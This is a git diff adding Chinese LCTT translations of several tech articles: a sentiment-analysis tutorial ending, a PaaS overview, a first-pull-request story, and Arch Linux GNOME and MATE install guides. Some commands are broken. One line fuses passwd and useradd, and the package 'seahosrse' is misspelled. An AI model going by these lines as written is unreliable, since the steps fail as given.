+model.score(X_test,y_test) + +0.6009070294784581 +``` + +#### 情感分析的最佳算法 + +接下来,我们绘制所有算法的准确率图。如下图所示。 + +![Figure 5: Accuracy performance of the different algorithms][5] + +可以看到,对于情感分析这一问题,随机森林算法有最佳的准确率。由此,我们可以得出结论,随机森林算法是所有机器算法中最适合情感分析的算法。我们可以通过处理得到更好的特征、尝试其他矢量化技术、或者使用更好的数据集或更好的分类算法,来进一步提高准确率。 + +既然,随机森林算法是解决情感分析问题的最佳算法,我将向你展示一个预处理数据的样本。在下图中,你可以看到模型会做出正确的预测!试试这个来改进你的项目吧! + +![Figure 6: Sample predictions made][6] + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/09/how-to-analyse-sentiments-using-machine-learning/ + +作者:[Jishnu Saurav Mittapalli][a] +选题:[lkxed][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/jishnu-saurav-mittapalli/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/07/Figure-1-Data-sample.jpg +[2]: https://www.opensourceforu.com/wp-content/uploads/2022/07/Figure-2-Data-frame-with-basic-modifications-3.jpg +[3]: https://www.opensourceforu.com/wp-content/uploads/2022/07/Figure-3-Data-frame-after-the-division-of-the-data-set.jpg +[4]: https://www.opensourceforu.com/wp-content/uploads/2022/07/Figure-4-Sample-of-final-features.jpg +[5]: https://www.opensourceforu.com/wp-content/uploads/2022/07/Figure-5-Accuracy-performance-of-the-different-algorithms.jpg +[6]: https://www.opensourceforu.com/wp-content/uploads/2022/07/Figure-6-Sample-predictions-made.jpg +[0]: hhttps://img.linux.net.cn/data/attachment/album/202302/03/112201q909lsqqs9e0jjzc.jpg \ No newline at end of file diff --git a/published/202302/20220914 Why Enterprises Should Opt for Platform as a Service.md b/published/202302/20220914 Why Enterprises Should Opt for Platform as a Service.md new file mode 100644 index 0000000000..296b2c2399 --- /dev/null +++ b/published/202302/20220914 Why Enterprises Should Opt for Platform as a Service.md @@ -0,0 +1,130 @@ +[#]: subject: "Why Enterprises Should Opt for Platform as a Service" +[#]: via: "https://www.opensourceforu.com/2022/09/why-enterprises-should-opt-for-platform-as-a-service/" +[#]: author: "Gopala Krishna Behara https://www.opensourceforu.com/author/gopalakrishna-behara/" +[#]: collector: "lkxed" +[#]: translator: "onionstalgia" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15548-1.html" + +为什么企业应该选择平台即服务(PaaS) +====== + +![][0] + +> 平台即服务能够快速、轻松地创建网络应用,而无需购买和维护其下的软件和基础设施。本文解释了它为什么有用。 + +平台即服务PaaS(以下简称 PaaS)指的是云计算服务,它为客户提供了开发、运行和管理应用程序的平台,而免去了建立和维护与开发和启动应用程序相关的基础设施的复杂工作。这是云原生应用和支持系统所依托的核心平台。 + +PaaS 通常包括不同的应用基础功能,包括应用平台、集成平台、业务分析平台、事件流服务和移动后端服务。此外,它还包括一套与监控、管理、部署相关的功能。 + +开发人员希望他们的开发环境不需要等待,而运营团队则更关心性能和稳定性。这经常引起两方间的冲突。PaaS 为这两方创造了和平的环境。一个作为服务交付的应用平台被称作 PaaS,它被用于部署用户代码。Cloud Foundry、Cloudify 和 OpenShift 这些开源环境都可用作 PaaS。 + +### PaaS 的采用模式 + +云计算必须满足五个基本特征:按需服务、接入网络、资源池化、弹性和可度量的服务。为此,云计算提供了三种服务模式:软件即服务Software as a Service(SaaS)、平台即服务Platform as a Service(PaaS)、基础设施即服务Infrastructure as a Service(IaaS)。 + +业务选用 PaaS 的关键驱动力: + +* 减少提供业务的资本支出和运营费用 +* 通过减少应用程序的交付时间和提高开发和交付质量,最大限度地降低 IT 成本 +* 增加中间件之间的灵活性和集成度 + +*简单 PaaS*:踏入 PaaS 领域的入口。它可以提供应用程序服务,并将它们暴露在自助服务的目录中;自动部署和计量服务使用的资源。 + +*管理 PaaS*:管理已配置应用程序的服务级别协议SLA服务质量QoS,例如弹性、应用程序性能、安全性等。 + +*编程 PaaS*:允许应用程序与外部应用程序或公共云集成,并实现自动扩展和云爆发场景。 + +*面向流程 PaaS*:允许通过创建持续交付流程来实现开发运维DevOps流程,该流程可以自动构建、测试应用程序并将其交付到云环境中。 + +除了这些采用模式之外,还有其他的 PaaS 变体如下,这些变化可能与上文的模式有一定重合: + +*集成平台即服务(iPaaS)*:一套能够开发、执行和管理集成流的云服务。集成流可以是个人内部或跨多个组织连接的,可以包含任何企业内部或基于云的流程、服务、应用和数据。这些组合变化可能也符合上述的模式之一,例如 MuleSoft CloudHub 和 BizTalk。 + +*移动平台即服务(mPaaS)*:为开发移动应用提供的集成开发环境(IDE),并且支持多种移动平台。 + +*数据库平台即服务(dbPaas)*:一种按需的、安全且可扩展的自助式数据库平台,可自动配置和管理数据库。dbPaaS 使扩展数据库变得更加容易,并使它们更加可靠。 + +*物联网平台即服务(IoTPaaS)*:提供了实现异构物联网拓扑所需的通信、安全、分析和管理的通用基础架构。它为构建物联网解决方案提供了更简单、更敏捷的模型。 + +*业务流程管理平台即服务(bpmPaaS)*:一个完整的预集成业务流程管理平台,托管在云端并作为服务交付。它被用于开发和执行整个企业的业务流程和以工作流程为中心的应用程序。例如 Pega cloud 和 OpenText Cordys cloud。 + +PaaS 的一些基本特征: + +* 在同一集成开发环境中开发、测试、部署、托管和维护应用程序的服务 +* 多租户架构,即多个并发用户使用同样的开发程序 +* 部署软件的内置可扩展性,包括负载平衡和故障转移 +* 与异构平台和系统的集成 +* 支持开发团队的协作 +* 包含处理帐单和管理订阅的工具 + +### 主要的开源 PaaS + +在选择 PaaS 之前,企业主要考虑关注以下几点: + +* 部署灵活性 +* 操作简便性 +* 应用堆栈的选择 +* 语言、数据库和框架支持 +* 规模的可扩展性 +* 服务质量(QoS) +* 开发和运营的工具 +* 它有多适合你的业务 + +现在让我们快速浏览下流行的开源 PaaS。 + +*Cloud Foundry*:提供了多种云的选择、开发者框架和应用服务。Cloud Foundry 使构建、测试、部署和扩展应用程序变得更快、更容易。 + +它有不同的发行版本,其中比较流行的是 Pivotal 和 IBM。它包含应用运行时runtime和容器运行时。在 Pivotal 上包含有应用服务和容器服务。 + +*OpenShift*:红帽的云计算 PaaS 产品。这是一个云端的应用平台,应用开发者和团队可以在这里构建、测试、部署和运行他们的应用程序。 + +*Cloudify*:在开放的原则下开发和设计,用以推动 IT 转型革命。它使组织能够在其上设计、建立和提供各种商业应用和网络服务。Cloudify 的最新版本为 4.3,它包含了先进的安全、控制和真自服务true self-service等增强功能。Cloudify 4.3 还为 Kubernetes 容器编排引入了全新的概念。 + +| 功能 | Cloud Foundry | Cloudify | OpenShift | +| :- | :- | :- | :- | +| 核心功能 | Cloud controller | Manager | Broker | +| 提供第三方数据库服务 | Service broker | Agent | Cartridge | +| 传入流量的路由 | Router | Manager | REST API | +| 查询应用程序的状态 | Cloud controller | CLI client | Broker | +| 消息传递 | Message bus | Manager | Broker | +| 应用实例管理 | Droplet execution agent | Agent | Node | +| 应用程序状态管理 | Health manager | Manager | Broker | +| Broker | Warden | Agent | Gear | +| 用户请求的负载平衡 | Droplet execution agent | Manager | Broker | +| 框架提供者 | Blob store | Agent | Cartridge | +|技术 |||| +| 语言 | Java, Ruby, Scala, Node.js, Groovy, Grails, PHP, Go, Python | Java, PHP, Ruby | Java, Ruby, Node.js, PHP, Python, Perl, JavaScript| +| 数据库 | MongoDB,MySQL ||| +|MongoDB、MySQL、PostgreSQL | MySQL、MongoDB | MongoDB、MySQL、PostgreSQL|| +| 框架 | Spring, Rails, Grails, Play Sinatra | JavaScript, Node.js | Rails, Flask, Django, Drupal, Vertx | +| 水平扩展 | 是 | 是 | 是| +| 垂直扩展 | 是 | 否 | 是| +| 弹性伸缩 | 是 | 是 | 是| + +表 1 列出了 Cloud Foundry、Cloudify 和 OpenShift 的基本功能及其对应的架构组件。以上完全基于个人观点,所支持的功能的真实需求应与云供应商进行验证。 + +从行业统计数据中,我们可以清楚地看出 PaaS 的使用率正在迅速上升。PaaS 使企业应用程序可以是云无关cloud-agnostic的,它们可以在任何云平台上运行——无论是公共的还是私有的。这意味着一个在亚马逊的 AWS 上开发的应用可以很容易地移植到微软 Azure、VMWare vSphere、Red Hat RHEV 等等其他平台。 + +当多个开发人员共同参与一个开发项目,或外部用户需要与开发过程协作时,PaaS 是很有用的。因此,PaaS 尤其适合于敏捷开发,因为它降低了围绕软件快速开发和迭代的难度。 + +### 鸣谢 + +作者感谢 Kiran M.R. 和 Wipro 有限公司的数字架构实践 Raju Alluri 为本文提供的支持。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/09/why-enterprises-should-opt-for-platform-as-a-service/ + +作者:[Gopala Krishna Behara][a] +选题:[lkxed][b] +译者:[onionstalgia](https://github.com/onionstalgia) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/gopalakrishna-behara/ +[b]: https://github.com/lkxed + +[0]: https://img.linux.net.cn/data/attachment/album/202302/17/094352atasztuxqg4t1ctt.jpg \ No newline at end of file diff --git a/published/202302/20220919 I got my first pull request merged!.md b/published/202302/20220919 I got my first pull request merged!.md new file mode 100644 index 0000000000..bf3badced4 --- /dev/null +++ b/published/202302/20220919 I got my first pull request merged!.md @@ -0,0 +1,96 @@ +[#]: subject: "I got my first pull request merged!" +[#]: via: "https://opensource.com/article/22/9/first-pull-request-merged" +[#]: author: "Oluwaseun https://opensource.com/users/jhhornn" +[#]: collector: "lkxed" +[#]: translator: "onionstalgia" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15502-1.html" + +我的第一个拉取请求被合并了! +====== + +![][0] + +> 体验为开源做出贡献的快乐。 + +难以用言语形容我在收到合并通知(如下图)时的喜悦,当然这要归功于现在我上的工程学校 [AltSchool Africa][2]。 + +![successful merge message][3] + +在此之前,我曾多次接触过开源的概念,了解了它在技术领域的重要性,甚至参加过开源会议(比如 OSCAFest)。我曾多次跃跃欲试,但当打开 GitHub 来想创建些东西时,冒名顶替综合症就会冒出来。 + +时间来到 2022 年 8 月 8 日星期一,当观看了 Bolaji 为开源做贡献的视频之后,我重新振奋起来。不过,想要把我学到的东西付诸实践,我注意到需要下面几个步骤: + +步骤: + +1. 我要下定决心,做好为一个开源项目做出贡献的心理建设。 +2. 我要根据我的技能水平进行筛选,我从一个站点([Good First Issues][4])寻找我开始的第一个项目。我不停地往下翻看,直到找到了一个符合心意的项目。 +3. 我要确定自己掌握完成项目所需的 [Git 和 GitHub][5] 知识。 + +> **LCTT 译注:** +> +> “[Good First Issues][4]” 这个网站主要是针对那些想为开源软件做贡献,但不知道从哪里开始或如何开始的开发者。通过为开发者提供过滤器,该网站使他们能够根据自己熟悉的编程语言来浏览和选择问题和存储库。此外,他们还可以选择他们想要解决的问题的类型。 + +### 项目 + +经过长时间查找,我终于找到了一个名为 [确保没有缺失的 alt 属性][6] 的项目。我所要做的,就是为网站上的图片提供描述性的 `alt` 值。图片的 `alt` 值有助于提高网站的辅助功能,这样屏幕阅读器就可以向视障人士提供图像的详细描述了。这很简单,对吧?是的,但假如我没有下定决心想要作出贡献,我就不会找到这项目,在我心中开源仍将是个神话。 + +我心潮澎湃,直到发现这个项目是来自 [MDN][7] 的。等等,MDNMozzila 开发者网络?干和 Mozilla 的开发者一样的事儿?他们会合并我这么小儿科的贡献吗?[冒名顶替综合症][8] 又开始了。 + +在检查这个议题时,我看到有人已经在提交贡献了,于是我鼓起勇气开始翻阅项目的内容。阅读和理解这个项目颇花费了我一些时间,而另一个要克服的,就是清楚处理这个议题我要怎么做。 + +这个项目就像你想的那么简单。 + +于是,我挑选了两幅图片着手尝试。我给它们的 `alt` 属性赋值,提交我的更改,然后发出拉取请求。从提交请求到收到批准邮件的这段时间,我充满了自我怀疑。我要不要关闭拉取请求?这可是 MDN 啊。好吧,这甚至都不算编程…… 如果请求没有被合并怎么办?我恐怕再也不会想为开源做出贡献了。不过,所有的疑虑都在我看到审阅者发来的这些邮件时烟消云散: + +![拉取请求确认邮件][9] + +![拉取请求被合并的通知邮件][10] + +![做出贡献和请求被合并的祝贺邮件][11] + +我喜出望外,这激发了我去检查更多图片的热情,也给了我发请求解决其他议题所需的勇气。 + +![议题分配邮件][12] + +### 总结 + +我希望你能从这篇文章中感受到以下几点: + +* 开源是面向所有人的。你在刚刚访问的那个网站上看到拼写错误了吗?你帮助订正了拼写错误,这就是为开源做出了贡献。 +* 没有任何技能是微不足道的。如你所见,我所做出的贡献,只需要对 HTML 最基本的了解。 +* 能阻止你做出贡献的只有你自己。 +* 要想让雪球滚起来,需要做的就只是提交第一个贡献。 + +我衷心希望你能从我的经历中获得什么,并且今天就付诸实践。这也就是我想贡献的另一个领域,那么,我们下一篇文章见,也祝你开源愉快! + +这篇文章最初发布于 [我的第一个拉取请求被合并][13],并经许可转载。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/9/first-pull-request-merged + +作者:[Oluwaseun][a] +选题:[lkxed][b] +译者:[onionstalgia](https://github.com/onionstalgia) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jhhornn +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/dandelion_zoom.jpg +[2]: https://www.altschoolafrica.com/ +[3]: https://opensource.com/sites/default/files/2022-09/successfulmerge.png +[4]: https://goodfirstissues.com/ +[5]: https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models +[6]: https://github.com/mdn/content/issues/19334 +[7]: https://developer.mozilla.org/en-US/ +[8]: https://opensource.com/article/20/9/imposter-syndrome +[9]: https://opensource.com/sites/default/files/2022-09/approved.png +[10]: https://opensource.com/sites/default/files/2022-09/merged_0.png +[11]: https://opensource.com/sites/default/files/2022-09/thanks.png +[12]: https://opensource.com/sites/default/files/2022-09/next.png +[13]: https://dev.to/jhhornn/i-got-my-first-pull-request-merged-3ei9 +[0]: https://img.linux.net.cn/data/attachment/album/202302/02/170752aebzil6qjabuzb3g.jpg \ No newline at end of file diff --git a/published/202302/20221105.3 ⭐️⭐️ How to Install GNOME Desktop in Arch Linux [Complete Guide].md b/published/202302/20221105.3 ⭐️⭐️ How to Install GNOME Desktop in Arch Linux [Complete Guide].md new file mode 100644 index 0000000000..c262036263 --- /dev/null +++ b/published/202302/20221105.3 ⭐️⭐️ How to Install GNOME Desktop in Arch Linux [Complete Guide].md @@ -0,0 +1,307 @@ +[#]: subject: "How to Install GNOME Desktop in Arch Linux [Complete Guide]" +[#]: via: "https://www.debugpoint.com/gnome-arch-linux-install/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "Chao-zhi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15537-1.html" + +如何在 Arch Linux 中安装 GNOME 桌面 +====== + +![][0] + +> 本指南解释了在 Arch Linux 中安装 GNOME 桌面所需的步骤。 + +本指南有两部分:第一部分是关于安装基本的 Arch 系统;第二部分是在 Arch Linux 基础上安装完整的 GNOME 桌面环境。 + +### 什么是 GNOME 桌面? + +GNOME 是一个流行的桌面环境,是如 Ubuntu 和 Fedora 等许多基于桌面的顶级 Linux 发行版的默认桌面。几乎所有的定制版都提供了一个 GNOME 桌面版本。 + +GNOME 桌面是稳定和用户友好的桌面之一,因此它被许多普通和高级用户所青睐。如果你想要一个在你进行工作时保持隐形的桌面,GNOME 就是这样的一个。它不会在你工作时妨碍你。因此,尽管有许多关于 GNOME 3(目前的版本)速度慢、资源重等争议,它仍然是许多人的流行和默认选择。 + +说了这么多,让我们来看看如何在裸机 Arch 中安装 GNOME 桌面。 + +### 在 Arch Linux 中安装 GNOME 桌面 + +#### 第一部分:安装 Arch Linux + +如果你已经安装了 Arch Linux,你可以跳过这一步,直接进入下面安装 GNOME 桌面部分。 + +要快速安装 Arch Linux 基础版,请遵循以下步骤。你也可以访问 [该指南][1],了解如何将 Arch Linux 安装为双启动或在虚拟机中的完整教程。 + +本文下面介绍的步骤是安装 Arch 的传统方式。新手请按照下面的指南链接,以更现代的方式使用 `archinstall` 脚本。完成后,回来通过第二部分的步骤继续 GNOME 安装。 + +> **[现代方式:使用 archinstall 脚本安装(推荐)][2]** + +##### 传统方式:下载 Arch Linux + +从下面的链接下载 Arch Linux 的 .iso 文件。它也提供了磁力链接和种子链接。下载后,将 ISO 写入 USB 驱动器。然后从该驱动器启动。 + +> **[下载 Arch Linux][3]** + +如果你打算通过 GNOME Boxes、virt-manager 把它安装成一个虚拟机镜像,那么你就不需要把它写入 U 盘。 + +##### 启动和配置分区 + +从 Arch Linux ISO 启动后,你必须运行一系列的命令来安装基本系统。 + +首先,运行下面的命令,找出设备标识符。 + +``` +fdisk -l +``` + +![之前的 fdisk -l][4] + +然后用设备标识符,运行下面的命令,开始对你的磁盘进行分区。请确保根据你的系统改变 `/dev/sda`。 + +``` +cfdisk /dev/sda +``` + +在下一个提示中选择 `label type = dos`。 + +选择自由空间,并从底部选择 “新建New” 选项。在这个例子中,我将创建三个分区,如下图所示: + +``` +/dev/sda1 - 1G - for /boot +/dev/sda2 - 5G - for root +/dev/sda3 - 1G - for swap +``` + +![cfdisk][5] + +在下一个屏幕中,提供引导分区的分区大小(在这个例子中,我给出了 1GB)。选择它作为主分区。 + +对大小为 5GB 的主根分区重复同样的步骤。 + +![改变为交换分区类型][6] + +用同样的步骤创建一个大小为 1G 的交换分区(你可以根据你的需要改变它)。创建交换分区后,确保在底部选择 “类型Type”,并用 “Linux Swap/Solaris” 选项将其标记为交换分区。 + +![cfdisk 中的最终分区列表][7] + +一旦完成,使用底部的 “写入Write” 选项将变化写入磁盘。**确保你在写入前做了备份,因为这是你系统中的一个永久性变化。** + +在你继续之前,运行下面的命令来检查。你可以看到在这个例子中,有三个分区被列出。 + +``` +fdisk -l +``` + +![fdisk 中的最终分区列表][8] + +依次运行下面的命令,在上面新创建的分区中格式化并创建一个 ext4 文件系统。请确保你根据你的需要改变 `/dev/sda1` 和 `/dev/sda2`: + +``` +mkfs.ext4 /dev/sda1 +mkfs.ext4 /dev/sda2 +mkswap /dev/sda3 +swapon /dev/sda3 +``` + +完成后,装载系统并创建必要的目录: + +``` +mount /dev/sda2 /mnt +mkdir /mnt/boot /mnt/var /mnt/home +mount /dev/sda1 /mnt/boot +``` + +同样,确保你根据你的系统改变 `/dev/sda1`、`/dev/sda2` 和 `/dev/sda3`。 + +![准备文件系统][9] + +##### 安装基础系统 + +我希望你已经连接到互联网了。如果没有,请尝试使用 USB 网卡或 Arch 安装程序自动配置和检测的有线网络连接。如果你没有可用的有线连接,请按照 [该指南][10] 使用 Arch Linux 安装程序配置一个无线或 Wi-Fi 网络。 + +依次运行下面的命令,将基本系统安装到已安装的分区中。下载的大小约为 400MB。 + +``` +pacman -Syy +pacstrap /mnt base base-devel linux linux-firmware nano dhcpcd net-tools grub +``` + +![安装基本系统][11] + +一旦完成,就会生成文件系统表,没有它你就无法启动系统。 + +``` +genfstab -U /mnt >> /mnt/etc/fstab +``` + +##### 配置基础系统 + +依次按照下面的命令来配置基本系统。这涉及到设置你的地域、语言、添加一个登录用户,以及设置互联网: + +``` +arch-chroot /mnt +nano /etc/locale.gen +``` + +通过去掉开头的 `#` 来取消对你所选择的 语言环境locale 的注释。在本指南中,我选择了 `en_US.UTF-8 UTF-8`,按 `CTRL+O`、回车和 `CTRL+X` 退出 nano。 + +![本地化][12] + +使用以下方法生成语言环境: + +``` +locale-gen +``` + +如果你不想手动去 `/etc/locale.gen` 设置语言,也可以使用以下命令设置语言: + +``` +echo LANG=en_US.UTF-8 > /etc/locale.conf +export LANG=en_US.UTF-8 +``` + +设置当地的时区: + +``` +ln -s /usr/share/zoneinfo/America/New_York /etc/localtime +``` + +同样,你可以根据你的需要来选择它们。你可以通过以下命令列出当地的时区: + +``` +ls /usr/share/zoneinfo +ls /usr/share/zoneinfo/America +``` + +设置硬件时钟,创建一个主机名,并使用以下命令依次启用互联网的 DHCP。你可以根据你的想法,将 `arindam-pc` 改为任何主机名: + +``` +hwclock --systohc --utc +echo arindam-pc > /etc/hostname +systemctl enable dhcpcd +``` + +下一步是设置根用户的密码,创建一个管理员用户,并在 `sudoers` 文件中添加该用户。 + +依次按照下面的命令进行操作。请确保根据你的需要将用户名从 `debugpoint` 改为其他名称: + +``` +passwd rootuseradd -m -g users -G wheel -s /bin/bash debugpointpasswd debugpoint +``` + +![创建用户][13] + +打开 `sudoers` 文件,添加以下几行: + +``` +nano /etc/sudoers +``` + +添加以下几行。由于你已经创建了 `root` 用户,该条目应该已经有了: + +``` +root ALL=(ALL) ALL +debugpoint ALL=(ALL) ALL +``` + +![更改 sudoer 文件][14] + +依次使用如下命令安装 Grub,设置初始化 Ramdisk 环境,卸载系统: + +``` +grub-install /dev/sda +grub-mkconfig -o /boot/grub/grub.cfg +mkinitcpio -p linux +exit +``` + +![配置 Grub][15] + +然后重新启动你的系统。如果你是在一个物理系统中安装的,在这一步要拔掉 USB 介质。 + +``` +umount /mnt/boot +umount /mnt +reboot +``` + +你现在已经成功地安装了 Arch Linux 基本系统。现在是安装完整的 GNOME 桌面的时候了。 + +![Arch 安装好了][16] + +#### 第二部分:在 Arch Linux 中安装 GNOME + +重启后,从 Grub 中选择 Arch Linux。在 Arch Linux 的提示符下,开始依次运行以下命令。这些命令安装 Xorg 服务器、显示管理器、GNOME 桌面组件、控制器包和其他应用程序。 + +所有的命令都使用默认值,即在要求时按回车。 + +安装 Xorg 服务器。安装大小约为 80MB: + +``` +sudo pacman -S --needed xorg +``` + +安装显示管理器、GNOME 桌面。安装大小约为 300MB: + +``` +sudo pacman -S --needed gnome gnome-tweaks nautilus-sendto gnome-nettool gnome-usage gnome gnome-multi-writer adwaita-icon-theme xdg-user-dirs-gtk fwupd arc-gtk-theme seahosrse gdm +``` + +上面的安装会要求提供几个软件包的选项。选择你想要的任何一个。如果你不确定,在询问时选择 “jack”、“noto-sans” 和 “xdg-portal-desktop-gnome”。 + +安装应用程序。这只是一个参考。你也可以安装你所需要的: + +``` +sudo pacman -S --needed firefox vlc filezilla leafpad xscreensaver archlinux-wallpaper +``` + +现在是时候把显示管理器和网络管理器作为服务启用了。这样,下次登录时,它们就可以由 systemd 自动运行。 + +``` +systemctl enable gdm +systemctl enable NetworkManager +``` + +使用 `reboot` 命令重新启动系统: + +``` +reboot +``` + +![Arch Linux 运行 GNOME 43 桌面][17] + +如果一切顺利,你应该在 GNOME 桌面上看到一个漂亮的登录提示。使用你刚刚创建的凭证登录。迎接你的应该是 Arch Linux 漂亮而干净的 GNOME 43 桌面。 + +我希望这个指南能帮助你在裸机 Arch 安装 GNOME 桌面。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/gnome-arch-linux-install/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[Chao-zhi](https://github.com/Chao-zhi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/2020/11/install-arch-linux/ +[2]: https://www.debugpoint.com/archinstall-guide/ +[3]: https://www.archlinux.org/download/ +[4]: https://www.debugpoint.com/wp-content/uploads/2020/12/fdisk-l-before.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2020/12/cfdisk-1024x159.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2020/12/Swap-parition-type-change.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2020/12/final-partition-list-in-cfdisk-1024x178.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2020/12/final-partition-list-in-fdisk.jpg +[9]: https://www.debugpoint.com/wp-content/uploads/2020/12/prepare-file-system.jpg +[10]: https://www.debugpoint.com/2020/11/connect-wifi-terminal-linux/ +[11]: https://www.debugpoint.com/wp-content/uploads/2020/12/Install-base-system-1024x205.jpg +[12]: https://www.debugpoint.com/wp-content/uploads/2020/12/change-locale.jpg +[13]: https://www.debugpoint.com/wp-content/uploads/2020/12/create-user.jpg +[14]: https://www.debugpoint.com/wp-content/uploads/2020/12/update-sudoers-file.jpg +[15]: https://www.debugpoint.com/wp-content/uploads/2020/12/configure-grub-1024x639.jpg +[16]: https://www.debugpoint.com/wp-content/uploads/2020/12/Arch-is-installed.jpg +[17]: https://www.debugpoint.com/wp-content/uploads/2020/12/Arch-Linux-Running-GNOME-43-Desktop-1024x636.jpg +[0]: https://img.linux.net.cn/data/attachment/album/202302/13/220203a5yb5xy24yer4atv.jpg \ No newline at end of file diff --git a/published/202302/20221106.1 ⭐️ How to Install MATE Desktop in Arch Linux [Complete Guide].md b/published/202302/20221106.1 ⭐️ How to Install MATE Desktop in Arch Linux [Complete Guide].md new file mode 100644 index 0000000000..4d50982d8e --- /dev/null +++ b/published/202302/20221106.1 ⭐️ How to Install MATE Desktop in Arch Linux [Complete Guide].md @@ -0,0 +1,104 @@ +[#]: subject: "How to Install MATE Desktop in Arch Linux [Complete Guide]" +[#]: via: "https://www.debugpoint.com/mate-desktop-arch-linux-install/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "Chao-zhi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15561-1.html" + +如何在 Arch Linux 中安装 MATE 桌面 +====== + +![][0] + +> 本指南将详细解释你在 Arch Linux 中安装 MATE 桌面所需的步骤。 + +本指南分为两部分。第一部分讨论安装基础 Arch 系统。第二部分是在 Arch Linux 上安装完整的 MATE 桌面环境。 + +本文在以下版本中进行了测试:MATE 1.24 和 MATE 1.26。 + +### 什么是 MATE 桌面? + +当 GNOME 桌面从 GNOME 2 改变方向到 GNOME 3 时,改变了用户交互和界面,MATE 桌面仍然延续了“较旧的”或者说“传统的” GNOME 2 的开发方向。因此,MATE 桌面环境保留了 Linux 中的传统桌面体验。它速度快,内存消耗低。在我看来,MATE 桌面环境是一个被低估的桌面环境,需要更多的关注! + +MATE 团队一直在继续开发,它是一个基于 GNOME 2 的流行桌面之一,但同时支持更新的技术。你可以在其 [官方网站][1] 上了解更多信息。 + +### 在 Arch Linux 中安装 MATE 桌面 + +#### 第一部分: 安装 Arch Linux + +如果你已经安装了 Arch Linux,则可以跳过此步骤,直接转到下面的 MATE 桌面安装部分。 + +要快速安装 Arch Linux,请按照这个自动化的 [archinstall 指南][2] 进行操作,该指南非常容易上手。安装完成后,继续至第二部分。 + +#### 第二部分:在 Arch Linux 中安装 MATE 桌面 + +重新启动后,从 GRUB 中选择 Arch Linux。在 Arch Linux 提示符下,按顺序运行以下命令。这些命令将安装 Xorg 服务器、显示管理器、MATE 桌面组件、控制器包以及其他应用程序。 + +对于所有命令,请使用默认值,即在询问时按 Enter 键。 + +安装 Xorg。安装大小大约为 80 MB。 + +``` +sudo pacman -S --needed xorg +``` + +安装显示管理器和 MATE 桌面组件。安装大小大约为 380 MB。 + +``` +sudo pacman -S --needed mate mate-extra ttf-freefont lightdm lightdm-gtk-greeter +``` + +> LCTT 译注:在 Arch Linux 中,很多时候 lightdm 显示管理器需要额外的配置才能正常启用。可以参考:[LightDM - ArchWiki][5]。除此之外,可以安装 lightdm-gtk-greeter-settings 来对 lightdm-gtk-greeter 进行配置。 + +![安装 MATE 包][3] + +安装应用软件: + +这只是一个参考。你也可以安装你所需要的内容。 + +``` +sudo pacman -S --needed firefox vlc filezilla leafpad xscreensaver archlinux-wallpaper +``` + +现在是时候以服务的方式启用显示管理器和网络管理器了。这样,下次登录时,它们就可以通过 systemd 自动运行了。 + +``` +systemctl enable lightdm +systemctl enable NetworkManager +``` + +使用重启命令重启系统: + +``` +reboot +``` + +如果一切顺利,你应该在 MATE 桌面上看到登录提示。 + +现在你可以使用刚刚创建的用户 ID 和密码登录。一个超快速和传统的 MATE 桌面将欢迎你的到来。 + +![Arch Linux 中的 MATE 桌面][4] + +我希望本指南能帮助你从头开始创建自己的 Arch Linux 环境,并使用传统的 MATE 桌面。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/mate-desktop-arch-linux-install/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[Chao-zhi](https://github.com/Chao-zhi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://mate-desktop.org/ +[2]: https://www.debugpoint.com/archinstall-guide/ +[3]: https://www.debugpoint.com/wp-content/uploads/2021/08/Installing-MATE-Packages.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2021/08/MATE-Desktop-in-Arch-Linux-1.jpg +[5]: https://wiki.archlinux.org/title/LightDM +[0]: https://img.linux.net.cn/data/attachment/album/202302/21/104424o8p78qj8gp5hqghj.jpg \ No newline at end of file diff --git a/published/202302/20221109.3 ⭐️⭐️ A Guide to systemd journal Maintenance [With Examples].md b/published/202302/20221109.3 ⭐️⭐️ A Guide to systemd journal Maintenance [With Examples].md new file mode 100644 index 0000000000..9395fa3dd8 --- /dev/null +++ b/published/202302/20221109.3 ⭐️⭐️ A Guide to systemd journal Maintenance [With Examples].md 